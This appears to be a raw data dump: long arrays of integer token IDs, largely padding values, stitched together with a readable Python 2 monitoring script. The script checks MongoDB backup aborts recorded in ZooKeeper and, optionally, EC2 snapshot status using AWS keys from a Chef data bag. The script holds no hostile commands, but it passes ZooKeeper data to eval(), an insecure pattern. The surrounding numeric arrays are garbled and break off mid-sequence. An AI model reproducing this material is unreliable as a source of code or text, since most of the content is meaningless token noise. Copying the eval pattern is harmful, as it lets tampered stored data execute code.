[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 7280, 29503, 1583, 335, 308, 4308, 8642, 1014, 921, 1544, 14, 328, 1117, 15970, 14, 957, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 259, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 504, 5166, 14, 4795, 492, 9813, 12, 1504, 421, 199, 533, 15932, 63, 1648, 63, 604, 8, 1025, 14, 1685, 304, 272, 485, 6486, 275, 298, 9533, 14, 1648, 14, 604, 2, 272, 485, 3406, 275, 469, 267, 327, 283, 2682, 356, 1504, 14, 2407, 360, 1648, 63, 344, 297, 283, 2682, 297, 730, 534, 4871, 297, 1059, 534, 7472, 297, 3877, 29, 797, 395, 267, 283, 9533, 63, 604, 63, 1574, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 9533, 14, 1648, 14, 604, 297, 283, 29698, 1015, 297, 1415, 29, 797, 12, 6863, 29, 797, 395, 272, 789, 339, 347, 1331, 63, 576, 8, 277, 12, 2467, 12, 1747, 12, 1004, 63, 344, 12, 4243, 29, 403, 12, 1067, 29, 403, 304, 267, 1067, 275, 1067, 503, 291, 14, 2293, 459, 470, 14, 3707, 2278, 1100, 63, 362, 8, 1556, 12, 1747, 9, 267, 4243, 275, 4243, 503, 1052, 267, 340, 1067, 14, 362, 360, 30968, 297, 756, 304, 288, 4243, 459, 9533, 63, 604, 63, 1574, 63, 344, 418, 275, 1004, 63, 344, 267, 372, 1613, 8, 9533, 63, 1648, 63, 604, 12, 291, 680, 1574, 63, 576, 8, 1556, 12, 1747, 12, 1004, 63, 344, 12, 4243, 12, 1067, 9, 339, 347, 1331, 8, 277, 12, 2467, 12, 1747, 12, 1004, 63, 344, 12, 849, 12, 1067, 29, 403, 304, 267, 1067, 275, 1067, 503, 291, 14, 2293, 459, 470, 14, 3707, 2278, 1100, 63, 362, 8, 1556, 12, 1747, 9, 267, 849, 275, 849, 503, 1052, 267, 340, 1067, 14, 362, 360, 30968, 297, 756, 304, 288, 849, 459, 9533, 63, 604, 63, 1574, 63, 344, 418, 275, 1004, 63, 344, 267, 372, 1613, 8, 9533, 63, 1648, 63, 604, 12, 291, 680, 1574, 8, 1556, 12, 1747, 12, 1004, 63, 344, 12, 849, 12, 1067, 9, 4388, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 7280, 29503, 1583, 335, 308, 4308, 8642, 1014, 921, 1544, 14, 328, 1117, 15970, 14, 957, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 259, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 504, 5166, 14, 4795, 492, 9813, 12, 1504, 421, 199, 533, 15932, 63, 1648, 63, 604, 8, 1025, 14, 1685, 304, 272, 485, 6486, 275, 298, 9533, 14, 1648, 14, 604, 2, 272, 485, 3406, 275, 469, 267, 327, 283, 2682, 356, 1504, 14, 2407, 360, 1648, 63, 344, 297, 283, 2682, 297, 730, 534, 4871, 297, 1059, 534, 7472, 297, 3877, 29, 797, 395, 267, 283, 9533, 63, 604, 63, 1574, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 9533, 14, 1648, 14, 604, 297, 283, 29698, 1015, 297, 1415, 29, 797, 12, 6863, 29, 797, 395, 272, 789, 339, 347, 1331, 63, 576, 8, 277, 12, 2467, 12, 1747, 12, 1004, 63, 344, 12, 4243, 29, 403, 12, 1067, 29, 403, 304, 267, 1067, 275, 1067, 503, 291, 14, 2293, 459, 470, 14, 3707, 2278, 1100, 63, 362, 8, 1556, 12, 1747, 9, 267, 4243, 275, 4243, 503, 1052, 267, 340, 1067, 14, 362, 360, 30968, 297, 756, 304, 288, 4243, 459, 9533, 63, 604, 63, 1574, 63, 344, 418, 275, 1004, 63, 344, 267, 372, 1613, 8, 9533, 63, 1648, 63, 604, 12, 291, 680, 1574, 63, 576, 8, 1556, 12, 1747, 12, 1004, 63, 344, 12, 4243, 12, 1067, 9, 339, 347, 1331, 8, 277, 12, 2467, 12, 1747, 12, 1004, 63, 344, 12, 849, 12, 1067, 29, 403, 304, 267, 1067, 275, 1067, 503, 291, 14, 2293, 459, 470, 14, 3707, 2278, 1100, 63, 362, 8, 1556, 12, 1747, 9, 267, 849, 275, 849, 503, 1052, 267, 340, 1067, 14, 362, 360, 30968, 297, 756, 304, 288, 849, 459, 9533, 63, 604, 63, 1574, 63, 344, 418, 275, 1004, 63, 344, 267, 372, 1613, 8, 9533, 63, 1648, 63, 604, 12, 291, 680, 1574, 8, 1556, 12, 1747, 12, 1004, 63, 344, 12, 849, 12, 1067, 9, 4388, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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--snap option, checks that the snapshots for the most recent backup were completed. """ import kazoo from kazoo.client import KazooClient from kazoo.client import KazooState import yaml import argparse import time from datetime import datetime from datetime import timedelta class Status(dict): def __init__(self, name, code, msg): self.name = name self.code = code self.msg = msg def exit(self): print "%s - %s" % (self.name, self.msg) raise SystemExit(self.code) class OK(Status): def __init__(self,msg): super(OK,self).__init__('OK', 0, msg) class WARNING(Status): def __init__(self,msg): super(WARNING,self).__init__('WARNING', 1, msg) class CRITICAL(Status): def __init__(self,msg): super(CRITICAL,self).__init__('CRITICAL', 2, msg) class UNKNOWN(Status): def __init__(self,msg): super(UNKNOWN,self).__init__('UNKNOWN', 3, msg) def state_listener(state): if state == KazooState.LOST: error("zookeeper connection state was lost") elif state == KazooState.SUSPENDED: error("zookeeper connection state was suspended") elif state == KazooState.CONNECTED: pass def create_date_path(days_ago): when = datetime.utcnow() if days_ago: delta = timedelta(days=days_ago) when = when - delta return when.strftime("/%Y/%m/%d") def look4abort(zk, days_ago=None): day_node = args.prefix.rstrip('/') + '/' + args.env.rstrip('/') + create_date_path(days_ago) if zk.exists(day_node): hours = zk.retry(zk.get_children, day_node) if len(hours): hours.sort() abort_node = day_node + '/' + str(hours[-1]) + '/ABORT' if zk.exists(abort_node): excuse = zk.retry(zk.get, abort_node) return CRITICAL("found backup abort status: %s" % excuse[0]) else: return OK('no abort during most recent backup') else: # Apparently no backups yet today. Let's check yesterday. # Let's not explore infinity though... if days_ago: return WARNING('found no backup info for past two days') return look4abort(zk, 1) else: # Apparently no backups yet today. Let's check yesterday. # Let's not explore infinity though... if days_ago: return WARNING('found no backup info for past two days') return look4abort(zk, 1) def look4snaps(zk, days_ago=None): import boto import boto.ec2 import boto.utils import chef instance_id = boto.utils.get_instance_metadata()['instance-id'] if args.region: region_spec = args.region else: region_spec = boto.utils.get_instance_identity()['document']['region'] chef_api = chef.autoconfigure() node = chef.Node(instance_id) my_app_env = node.attributes['app_environment'] bag = chef.DataBag('aws') item = bag[my_app_env] key_id = str(item['aws_access_key_id']) key_secret = str(item['aws_secret_access_key']) region = boto.ec2.get_region(region_spec, aws_access_key_id=key_id, aws_secret_access_key=key_secret) conn = region.connect(aws_access_key_id=key_id, aws_secret_access_key=key_secret) day_node = args.prefix.rstrip('/') + '/' + args.env.rstrip('/') + create_date_path(days_ago) if zk.exists(day_node): hours = zk.retry(zk.get_children, day_node) if len(hours): hours.sort() shards_parent_node = day_node + '/' + str(hours[-1]) + '/mongodb_shard_server' if zk.exists(shards_parent_node): shard_list = zk.retry(zk.get_children, shards_parent_node) if len(shard_list) > 0: msg = '' err = 0 for shard in shard_list: shard_data = zk.retry(zk.get, shards_parent_node + '/' + shard) snaps = conn.get_all_snapshots(eval(shard_data[0])) msg = msg + ", %s [" % shard snap_text = '' for snap in snaps: if snap.status == 'error': err = 1 snap_text = snap_text + ", %s (%s)" % (str(snap), snap.status) msg = msg + snap_text.strip(', ') + ']' if err: return CRITICAL(msg.strip(', ')) return OK(msg.strip(', ')) # Apparently no backups yet today. Let's check yesterday. # Let's not explore infinity though... if days_ago: return WARNING('found no backup info for past two days') return look4snaps(zk, 1) if __name__ == '__main__': gargle = argparse.ArgumentParser(prog = "check_mongodb_backup", description=desc, usage='%(prog)s [options]', formatter_class = argparse.RawDescriptionHelpFormatter) gargle.add_argument('--prefix', dest="prefix", metavar="<path_prefix>", default='/backup/mongodb_cluster/', help='ZooKeeper path prefix (default: /backup/mongodb_cluster/)') gargle.add_argument('--cluster', dest="env", metavar="<cluster_id>", default='production', help='MongoDB cluster name (default: production)') gargle.add_argument('--config', dest='yaml', metavar="<config_file>", help='ZooKeeper server list file (default: /etc/zookeeper/server_list.yml)', default='/etc/zookeeper/server_list.yml') gargle.add_argument('--region', metavar="<aws-region-spec>", help='AWS region where the snapshots are stored (default: region of host instance)') gargle.add_argument('--snaps', action='store_true', help='check snapshots from most recent backup (default: False)') args = gargle.parse_args() try: y = yaml.safe_load(open(args.yaml)) servers = ','.join("%s:%s" % (s['host'],s['port']) for s in y['zookeepers']) zk = KazooClient(hosts=servers) zk.start() zk.add_listener(state_listener) if args.snaps: status = look4snaps(zk) else: status = look4abort(zk) zk.remove_listener(state_listener) zk.stop() status.exit() except Exception as e: UNKNOWN("Error: %s" % e).exit()
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3257, 275, 408, 199, 11834, 314, 2004, 402, 314, 4750, 8058, 28458, 6902, 503, 12, 543, 314, 1553, 10002, 945, 12, 199, 8625, 626, 314, 19076, 367, 314, 4750, 8058, 6902, 4898, 9709, 14, 199, 624, 199, 199, 646, 1022, 4651, 1534, 199, 504, 1022, 4651, 1534, 14, 1258, 492, 1804, 4651, 1534, 3041, 199, 504, 1022, 4651, 1534, 14, 1258, 492, 1804, 4651, 1534, 2223, 199, 646, 8864, 199, 646, 7534, 199, 646, 900, 199, 504, 2197, 492, 2197, 199, 504, 2197, 492, 6871, 199, 199, 533, 9795, 8, 807, 304, 8410, 347, 636, 826, 721, 277, 12, 536, 12, 1233, 12, 1499, 304, 489, 291, 14, 354, 275, 536, 489, 291, 14, 600, 275, 1233, 489, 291, 14, 1328, 275, 1499, 8410, 347, 4458, 8, 277, 304, 2541, 870, 2071, 83, 446, 450, 83, 2, 450, 334, 277, 14, 354, 12, 291, 14, 1328, 9, 489, 746, 14838, 8, 277, 14, 600, 9, 421, 199, 533, 9949, 8, 3694, 304, 8410, 347, 636, 826, 721, 277, 12, 1328, 304, 489, 1613, 8, 3593, 12, 277, 2843, 826, 19734, 3593, 297, 378, 12, 1499, 9, 421, 199, 533, 14750, 8, 3694, 304, 8410, 347, 636, 826, 721, 277, 12, 1328, 304, 489, 1613, 8, 9171, 12, 277, 2843, 826, 19734, 9171, 297, 413, 12, 1499, 9, 421, 199, 533, 17101, 19223, 8, 3694, 304, 8410, 347, 636, 826, 721, 277, 12, 1328, 304, 489, 1613, 8, 21539, 12, 277, 2843, 826, 19734, 21539, 297, 499, 12, 1499, 9, 421, 199, 533, 24740, 8, 3694, 304, 8410, 347, 636, 826, 721, 277, 12, 1328, 304, 489, 1613, 8, 11588, 12, 277, 2843, 826, 19734, 11588, 297, 650, 12, 1499, 9, 421, 199, 318, 1174, 63, 9799, 8, 929, 304, 2043, 340, 1174, 508, 1804, 4651, 1534, 2223, 14, 1484, 840, 26, 489, 1125, 480, 90, 23479, 1950, 1174, 1990, 14669, 531, 2043, 916, 1174, 508, 1804, 4651, 1534, 2223, 14, 51, 28011, 25518, 26, 489, 1125, 480, 90, 23479, 1950, 1174, 1990, 308, 18559, 531, 2043, 916, 1174, 508, 1804, 4651, 1534, 2223, 14, 14657, 1149, 26, 489, 986, 421, 199, 318, 1218, 63, 602, 63, 515, 8, 4899, 63, 14315, 304, 2043, 1380, 275, 2197, 14, 10779, 342, 2043, 340, 7609, 63, 14315, 26, 489, 5762, 275, 6871, 8, 4899, 29, 4899, 63, 14315, 9, 489, 1380, 275, 1380, 446, 5762, 2043, 372, 1380, 14, 6205, 480, 3149, 57, 3149, 77, 3149, 68, 531, 421, 199, 318, 3648, 20, 13845, 8, 20344, 12, 7609, 63, 14315, 29, 403, 304, 8410, 5382, 63, 932, 275, 1249, 14, 1861, 14, 6735, 7825, 435, 7324, 435, 1249, 14, 1813, 14, 6735, 7825, 435, 1218, 63, 602, 63, 515, 8, 4899, 63, 14315, 9, 221, 8410, 340, 1315, 75, 14, 2444, 8, 2977, 63, 932, 304, 489, 10857, 275, 1315, 75, 14, 7154, 8, 20344, 14, 362, 63, 3223, 12, 5382, 63, 932, 9, 489, 340, 822, 8, 8419, 304, 507, 10857, 14, 3191, 342, 507, 12004, 63, 932, 275, 5382, 63, 932, 435, 7324, 435, 620, 8, 8419, 1988, 17, 566, 435, 1994, 27113, 7, 507, 340, 1315, 75, 14, 2444, 8, 13845, 63, 932, 304, 6722, 3178, 1180, 275, 1315, 75, 14, 7154, 8, 20344, 14, 362, 12, 12004, 63, 932, 9, 6722, 372, 17101, 19223, 480, 4214, 6902, 12004, 2004, 26, 450, 83, 2, 450, 3178, 1180, 59, 16, 566, 507, 587, 26, 288, 372, 9949, 360, 889, 12004, 5309, 4750, 8058, 6902, 358, 489, 587, 26, 268, 327, 13450, 1708, 590, 949, 6902, 83, 5966, 11168, 14, 221, 12230, 1159, 1104, 9456, 25297, 14, 13359, 327, 12230, 1159, 440, 15868, 264, 23573, 10617, 1396, 268, 340, 7609, 63, 14315, 26, 372, 14750, 360, 4214, 949, 6902, 2256, 367, 13541, 2877, 7609, 358, 13359, 372, 3648, 20, 13845, 8, 20344, 12, 413, 9, 8410, 587, 26, 2541, 327, 13450, 1708, 590, 949, 6902, 83, 5966, 11168, 14, 221, 12230, 1159, 1104, 9456, 25297, 14, 2541, 327, 12230, 1159, 440, 15868, 264, 23573, 10617, 1396, 489, 340, 7609, 63, 14315, 26, 372, 14750, 360, 4214, 949, 6902, 2256, 367, 13541, 2877, 7609, 358, 2541, 372, 3648, 20, 13845, 8, 20344, 12, 413, 9, 421, 199, 318, 3648, 20, 10002, 83, 8, 20344, 12, 7609, 63, 14315, 29, 403, 304, 8410, 492, 6055, 2043, 492, 6055, 14, 825, 18, 2043, 492, 6055, 14, 1208, 2043, 492, 17546, 70, 8410, 1256, 63, 344, 275, 6055, 14, 1208, 14, 362, 63, 842, 63, 2343, 12047, 842, 13, 344, 418, 8410, 340, 1249, 14, 4551, 26, 489, 4897, 63, 1650, 275, 1249, 14, 4551, 2043, 587, 26, 489, 4897, 63, 1650, 275, 6055, 14, 1208, 14, 362, 63, 842, 63, 5582, 12047, 3554, 2545, 4551, 418, 8410, 17546, 70, 63, 1246, 275, 17546, 70, 14, 2495, 6472, 342, 8410, 1031, 275, 17546, 70, 14, 1716, 8, 842, 63, 344, 9, 2043, 3002, 63, 571, 63, 1813, 275, 1031, 14, 2987, 459, 571, 63, 5418, 418, 8410, 330, 643, 275, 17546, 70, 14, 1451, 31641, 360, 7231, 358, 2043, 1242, 275, 330, 643, 59, 1662, 63, 571, 63, 1813, 61, 2043, 790, 63, 344, 275, 620, 8, 1053, 459, 7231, 63, 2732, 63, 498, 63, 344, 1105, 2043, 790, 63, 4731, 275, 620, 8, 1053, 459, 7231, 63, 4731, 63, 2732, 63, 498, 1105, 8410, 4897, 275, 6055, 14, 825, 18, 14, 362, 63, 4551, 8, 4551, 63, 1650, 12, 11488, 63, 2732, 63, 498, 63, 344, 29, 498, 63, 344, 12, 11488, 63, 4731, 63, 2732, 63, 498, 29, 498, 63, 4731, 9, 8410, 2557, 275, 4897, 14, 2242, 8, 7231, 63, 2732, 63, 498, 63, 344, 29, 498, 63, 344, 12, 11488, 63, 4731, 63, 2732, 63, 498, 29, 498, 63, 4731, 9, 8410, 5382, 63, 932, 275, 1249, 14, 1861, 14, 6735, 7825, 435, 7324, 435, 1249, 14, 1813, 14, 6735, 7825, 435, 1218, 63, 602, 63, 515, 8, 4899, 63, 14315, 9, 221, 8410, 340, 1315, 75, 14, 2444, 8, 2977, 63, 932, 304, 489, 10857, 275, 1315, 75, 14, 7154, 8, 20344, 14, 362, 63, 3223, 12, 5382, 63, 932, 9, 489, 340, 822, 8, 8419 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3257, 275, 408, 199, 11834, 314, 2004, 402, 314, 4750, 8058, 28458, 6902, 503, 12, 543, 314, 1553, 10002, 945, 12, 199, 8625, 626, 314, 19076, 367, 314, 4750, 8058, 6902, 4898, 9709, 14, 199, 624, 199, 199, 646, 1022, 4651, 1534, 199, 504, 1022, 4651, 1534, 14, 1258, 492, 1804, 4651, 1534, 3041, 199, 504, 1022, 4651, 1534, 14, 1258, 492, 1804, 4651, 1534, 2223, 199, 646, 8864, 199, 646, 7534, 199, 646, 900, 199, 504, 2197, 492, 2197, 199, 504, 2197, 492, 6871, 199, 199, 533, 9795, 8, 807, 304, 8410, 347, 636, 826, 721, 277, 12, 536, 12, 1233, 12, 1499, 304, 489, 291, 14, 354, 275, 536, 489, 291, 14, 600, 275, 1233, 489, 291, 14, 1328, 275, 1499, 8410, 347, 4458, 8, 277, 304, 2541, 870, 2071, 83, 446, 450, 83, 2, 450, 334, 277, 14, 354, 12, 291, 14, 1328, 9, 489, 746, 14838, 8, 277, 14, 600, 9, 421, 199, 533, 9949, 8, 3694, 304, 8410, 347, 636, 826, 721, 277, 12, 1328, 304, 489, 1613, 8, 3593, 12, 277, 2843, 826, 19734, 3593, 297, 378, 12, 1499, 9, 421, 199, 533, 14750, 8, 3694, 304, 8410, 347, 636, 826, 721, 277, 12, 1328, 304, 489, 1613, 8, 9171, 12, 277, 2843, 826, 19734, 9171, 297, 413, 12, 1499, 9, 421, 199, 533, 17101, 19223, 8, 3694, 304, 8410, 347, 636, 826, 721, 277, 12, 1328, 304, 489, 1613, 8, 21539, 12, 277, 2843, 826, 19734, 21539, 297, 499, 12, 1499, 9, 421, 199, 533, 24740, 8, 3694, 304, 8410, 347, 636, 826, 721, 277, 12, 1328, 304, 489, 1613, 8, 11588, 12, 277, 2843, 826, 19734, 11588, 297, 650, 12, 1499, 9, 421, 199, 318, 1174, 63, 9799, 8, 929, 304, 2043, 340, 1174, 508, 1804, 4651, 1534, 2223, 14, 1484, 840, 26, 489, 1125, 480, 90, 23479, 1950, 1174, 1990, 14669, 531, 2043, 916, 1174, 508, 1804, 4651, 1534, 2223, 14, 51, 28011, 25518, 26, 489, 1125, 480, 90, 23479, 1950, 1174, 1990, 308, 18559, 531, 2043, 916, 1174, 508, 1804, 4651, 1534, 2223, 14, 14657, 1149, 26, 489, 986, 421, 199, 318, 1218, 63, 602, 63, 515, 8, 4899, 63, 14315, 304, 2043, 1380, 275, 2197, 14, 10779, 342, 2043, 340, 7609, 63, 14315, 26, 489, 5762, 275, 6871, 8, 4899, 29, 4899, 63, 14315, 9, 489, 1380, 275, 1380, 446, 5762, 2043, 372, 1380, 14, 6205, 480, 3149, 57, 3149, 77, 3149, 68, 531, 421, 199, 318, 3648, 20, 13845, 8, 20344, 12, 7609, 63, 14315, 29, 403, 304, 8410, 5382, 63, 932, 275, 1249, 14, 1861, 14, 6735, 7825, 435, 7324, 435, 1249, 14, 1813, 14, 6735, 7825, 435, 1218, 63, 602, 63, 515, 8, 4899, 63, 14315, 9, 221, 8410, 340, 1315, 75, 14, 2444, 8, 2977, 63, 932, 304, 489, 10857, 275, 1315, 75, 14, 7154, 8, 20344, 14, 362, 63, 3223, 12, 5382, 63, 932, 9, 489, 340, 822, 8, 8419, 304, 507, 10857, 14, 3191, 342, 507, 12004, 63, 932, 275, 5382, 63, 932, 435, 7324, 435, 620, 8, 8419, 